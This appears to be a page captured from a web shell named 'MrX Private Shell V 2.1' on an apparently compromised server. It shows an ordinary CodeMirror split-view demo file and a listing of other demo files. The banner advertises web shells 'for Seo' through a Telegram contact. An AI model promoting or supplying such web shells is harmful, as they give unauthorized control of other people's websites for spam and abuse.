__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<!doctype html>
<title>CodeMirror: Multiple Buffer & Split View Demo</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../html/docs.css">
<link rel="stylesheet" href="/usr/share/javascript/codemirror/lib/codemirror.css">
<script src="/usr/share/javascript/codemirror/lib/codemirror.js"></script>
<script src="/usr/share/javascript/codemirror/mode/javascript/javascript.js"></script>
<script src="/usr/share/javascript/codemirror/mode/css/css.js"></script>
<style id=style>
.CodeMirror {border: 1px solid black; height: 250px;}
</style>
<div id=nav>
<a href="https://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../html/logo.png"></a>
<ul>
<li><a href="../index.html">Home</a>
<li><a href="../html/manual.html">Manual</a>
<li><a href="https://github.com/codemirror/codemirror">Code</a>
</ul>
<ul>
<li><a class=active href="#">Multiple Buffer & Split View</a>
</ul>
</div>
<article>
<h2>Multiple Buffer & Split View Demo</h2>
<div id=code_top></div>
<div>
Select buffer: <select id=buffers_top></select>
<button onclick="newBuf('top')">New buffer</button>
</div>
<div id=code_bot></div>
<div>
Select buffer: <select id=buffers_bot></select>
<button onclick="newBuf('bot')">New buffer</button>
</div>
<script id=script>
var sel_top = document.getElementById("buffers_top");
CodeMirror.on(sel_top, "change", function() {
selectBuffer(ed_top, sel_top.options[sel_top.selectedIndex].value);
});
var sel_bot = document.getElementById("buffers_bot");
CodeMirror.on(sel_bot, "change", function() {
selectBuffer(ed_bot, sel_bot.options[sel_bot.selectedIndex].value);
});
var buffers = {};
function openBuffer(name, text, mode) {
buffers[name] = CodeMirror.Doc(text, mode);
var opt = document.createElement("option");
opt.appendChild(document.createTextNode(name));
sel_top.appendChild(opt);
sel_bot.appendChild(opt.cloneNode(true));
}
function newBuf(where) {
var name = prompt("Name for the buffer", "*scratch*");
if (name == null) return;
if (buffers.hasOwnProperty(name)) {
alert("There's already a buffer by that name.");
return;
}
openBuffer(name, "", "javascript");
selectBuffer(where == "top" ? ed_top : ed_bot, name);
var sel = where == "top" ? sel_top : sel_bot;
sel.value = name;
}
function selectBuffer(editor, name) {
var buf = buffers[name];
if (buf.getEditor()) buf = buf.linkedDoc({sharedHist: true});
var old = editor.swapDoc(buf);
var linked = old.iterLinkedDocs(function(doc) {linked = doc;});
if (linked) {
// Make sure the document in buffers is the one the other view is looking at
for (var name in buffers) if (buffers[name] == old) buffers[name] = linked;
old.unlinkDoc(linked);
}
editor.focus();
}
function nodeContent(id) {
var node = document.getElementById(id), val = node.textContent || node.innerText;
val = val.slice(val.match(/^\s*/)[0].length, val.length - val.match(/\s*$/)[0].length) + "\n";
return val;
}
openBuffer("js", nodeContent("script"), "javascript");
openBuffer("css", nodeContent("style"), "css");
var ed_top = CodeMirror(document.getElementById("code_top"), {lineNumbers: true});
selectBuffer(ed_top, "js");
var ed_bot = CodeMirror(document.getElementById("code_bot"), {lineNumbers: true});
selectBuffer(ed_bot, "js");
</script>
<p>Demonstration of
using <a href="../html/manual.html#linkedDoc">linked documents</a>
to provide a split view on a document, and
using <a href="../html/manual.html#swapDoc"><code>swapDoc</code></a>
to use a single editor to display multiple documents.</p>
</article>
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| activeline.html | File | 3.26 KB | 0644 |
|
| anywordhint.html | File | 2.87 KB | 0644 |
|
| bidi.html | File | 4.88 KB | 0644 |
|
| btree.html | File | 2.94 KB | 0644 |
|
| buffers.html | File | 3.59 KB | 0644 |
|
| changemode.html | File | 1.78 KB | 0644 |
|
| closebrackets.html | File | 1.72 KB | 0644 |
|
| closetag.html | File | 1.58 KB | 0644 |
|
| complete.html | File | 4.4 KB | 0644 |
|
| emacs.html | File | 2.76 KB | 0644 |
|
| folding.html | File | 6.12 KB | 0644 |
|
| fullscreen.html | File | 3.53 KB | 0644 |
|
| hardwrap.html | File | 2.62 KB | 0644 |
|
| html5complete.html | File | 1.99 KB | 0644 |
|
| indentwrap.html | File | 2.62 KB | 0644 |
|
| loadmode.html | File | 2.31 KB | 0644 |
|
| marker.html | File | 1.53 KB | 0644 |
|
| markselection.html | File | 1.94 KB | 0644 |
|
| matchhighlighter.html | File | 4.89 KB | 0644 |
|
| matchtags.html | File | 1.48 KB | 0644 |
|
| multiplex.html | File | 2.25 KB | 0644 |
|
| mustache.html | File | 2.18 KB | 0644 |
|
| panel.html | File | 3.57 KB | 0644 |
|
| placeholder.html | File | 1.55 KB | 0644 |
|
| preview.html | File | 2.54 KB | 0644 |
|
| requirejs.html | File | 2.27 KB | 0644 |
|
| resize.html | File | 1.4 KB | 0644 |
|
| rulers.html | File | 1.45 KB | 0644 |
|
| runmode-standalone.html | File | 2.3 KB | 0644 |
|
| runmode.html | File | 2.36 KB | 0644 |
|
| search.html | File | 4.89 KB | 0644 |
|
| simplemode.html | File | 8.14 KB | 0644 |
|
| simplescrollbars.html | File | 5.1 KB | 0644 |
|
| spanaffectswrapping_shim.html | File | 3 KB | 0644 |
|
| sublime.html | File | 3.23 KB | 0644 |
|
| theme.html | File | 7.5 KB | 0644 |
|
| trailingspace.html | File | 1.61 KB | 0644 |
|
| variableheight.html | File | 2.12 KB | 0644 |
|
| vim.html | File | 4.32 KB | 0644 |
|
| visibletabs.html | File | 1.89 KB | 0644 |
|
| xmlcomplete.html | File | 3.78 KB | 0644 |
|